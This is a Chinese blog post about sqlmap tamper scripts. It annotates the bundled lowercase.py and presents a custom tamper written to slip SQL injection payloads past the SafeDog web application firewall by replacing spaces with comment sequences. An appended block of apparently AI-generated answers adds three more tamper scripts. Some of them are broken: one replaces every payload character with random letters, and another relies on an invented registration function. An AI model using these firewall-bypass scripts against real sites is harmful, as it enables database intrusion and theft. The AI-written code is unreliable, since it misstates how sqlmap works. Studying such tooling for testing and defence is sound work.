sqlmap 的源码学习笔记二之编写tamper脚本

0x00 前言

        sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。

0x01 tamper脚本

   当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。

0x02 分析tamper脚本

由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析

#!/usr/bin/env python    #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法
"""    #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
import re    #导入python中的re 字符替换包,方便下面的字符替换
from lib.core.data import kb   #导入sqlmap中lib\core\data中的kb函数,测试 SQL 注入的过程中,使用的配置文件事先全部被加载到了 conf 和 kb
from lib.core.enums import PRIORITY        #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py
__priority__ = PRIORITY.NORMAL            #定义优先级,此处为级别为【一般】
def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。
    pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。
def tamper(payload, **kwargs):     #定义tamper脚本,payload, **kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2} 
    """         #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号
    Replaces each keyword character with lower case value     #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以
    Tested against:                                                                            #用于多种数据库。并且作用于弱防护效果的防火墙
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases
    >>> tamper('INSERT')
    'insert'
    """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号        
    retVal = payload                                                        # 将payload赋值给  retVal ,以便中间转换。
    if payload:                                                                 # 进行判断payload
        for match in re.finditer(r"[A-Za-z_]+", retVal):        # 对 retVal 【payload】进行小写查找
            word = match.group()                                        #将查找到的字母赋值给word
            if word.upper() in kb.keywords:                          #如果在攻击载荷中有大写字母
                retVal = retVal.replace(word, word.lower())    #将大写字母转换成小写字母。
    return retVal                                                               #返回小写字母

到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母


0x03 编写一个tamper脚本

         在这里,我们尝试写一个绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。

#!/usr/bin/env python                                                                        #此处代码可以直接从其他tamper复制粘贴过来

"""

Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)   #常规文档说明     

See the file 'doc/COPYING' for copying permission

v0.0.1                                                                                               #添加这个脚本的版本说明

2016.08.21                                                                                        #添加我们写这个脚本的日期

"""

from lib.core.enums import PRIORITY    #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py

__priority__ = PRIORITY.LOW               #定义优先级,此处为级别为【一般】


def dependencies():                              #定义dependencies():此处是为了和整体脚本的结构保持一致。
    pass                                               #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性

def tamper(payload, **kwargs):      #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} 

    """

   To bypass safedog                         

    Replaces space character (' ') with plus ('/*|%20--%20|*/')          #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则
    >>> tamper('SELECT id FROM users')                                   #此处为替换后的具体执行形式
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    """
    retVal = payload                                                                     # 将payload赋值给  retVal ,以便中间转换。
    if payload:                                                                               
        retVal = ""
        quote, doublequote, firstspace = False, False, False             #定义这些符号参数,防止对后面的替换造成影响
        for i in xrange(len(payload)):                                               # 在攻击载荷中逐个进行判断操作。
            if not firstspace:                                                                #如果攻击载荷的第一个字段是空格,则进行替换
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"                                      #把空格( ) 替换成(/*|%20--%20|*/)
                    continue                                                                     #继续进行判断操作
            elif payload[i] == '\'':                                                         #如果攻击载荷中有(\ ),则进行编码转换
                quote = not quote
            elif payload[i] == '"':                                                          #如果攻击载荷中有(“ ),则进行编码转换
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:         #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote  
                retVal += "/*|%20--%20|*/"                                                    #则进行编码转换
                continue                                                                            继续执行
            retVal += payload[i]                                                            #得到重新组合的payload
    return retVal


# 该脚本可以在github中找到:https://github.com/ym2011/penetration/tree/master/scripts


0x04 参考资料

http://sqlmap.org/

https://github.com/sqlmapproject/sqlmap/

https://github.com/sqlmapproject/sqlmap/wiki

https://github.com/sqlmapproject/sqlmap/wiki/FAQ

https://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries


欢迎大家分享更好的思路,热切期待^^_^^ !!!


  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 我可以给你一种典型的Python脚本,它可以用于SQLMAPTamper模块:import randomdef tamper(payload, **kwargs): """ Replace random character with an upper case """ retVal = payload if payload: retVal = "" quote, double_quote, first = False, False, True for i in range(len(payload)): if payload[i] == '\'' and not double_quote: quote = not quote elif payload[i] == '"' and not quote: double_quote = not double_quote random_char = random.choice("abcdefghijklmnopqrstuvwxyz") if not quote and not double_quote: if first: random_char = random_char.upper() first = False retVal += random_char return retVal ### 回答2: SQLMap是一款常用的SQL注入工具,它包含了许多模块,其中tamper模块用于修改HTTP请求和响应以绕过WAF(Web应用程序防火墙)或其他过滤机制。 可以编写一个示例脚本来说明如何使用tamper模块中的Python脚本。以下是一个基本的示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import random # 定义一个名称为my_tamper的函数 def my_tamper(payload, **kwargs): # 随机生成一个1或0的数,用于决定是否执行tamper if random.randint(0, 1) == 1: return payload else: # 将所有的'和"替换为%00 return payload.replace("'", "%00").replace('"', "%00") # 在tamper模块中注册函数 def register(): return {'my_tamper': my_tamper} ``` 上述脚本定义了一个名为`my_tamper`的函数,它接受一个名为`payload`的参数和其他任意参数,返回修改后的payload。在这个示例中,`my_tamper`函数的逻辑是随机决定是否执行tamper,如果执行tamper,则将payload中的单引号和双引号替换为`%00`。 脚本的最后一行`register()`用于将`my_tamper`函数注册到tamper模块中。 要在SQLMap中使用这个脚本,将脚本保存并命名为`my_tamper.py`,然后使用以下命令执行: `python sqlmap.py -u <target-url> --tamper my_tamper` 其中`<target-url>`是目标网站的URL。执行命令后,SQLMap将加载自定义的tamper脚本并将其应用于注入过程中的payload。 以上是一个简单的示例,tamper模块的具体使用方式和功能请参考SQLMap的官方文档以及tamper模块中的其他脚本。 ### 回答3: 下面是一个简单的SQLMAPtamper模块中的Python脚本示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- """ 这是一个SQLMAP tamper模块的示例。 该脚本用于在SQL注入漏洞测试期间修改从数据库获取的数据。 作者:聊聊AI小助手 """ import random import string # 定义tamper函数 def tamper(payload, **kwargs): # 生成一个随机字符串 random_string = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(5)]) # 将payload中的单引号替换为双引号 payload = payload.replace("'", '"') # 在payload中添加随机字符串 payload = payload.replace(" ", "/*{}*/".format(random_string)) return payload # 测试tamper函数 print(tamper("SELECT * FROM users WHERE id=1;")) ``` 上面的脚本是一个简单的tamper模块脚本示例,将payload中的单引号替换为双引号,并在payload中添加了一个随机字符串来绕过一些简单的过滤机制。 请注意,这只是一个示例,实际情况下,tamper模块的实现会更加复杂,并且会根据具体的注入漏洞和目标数据库进行调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值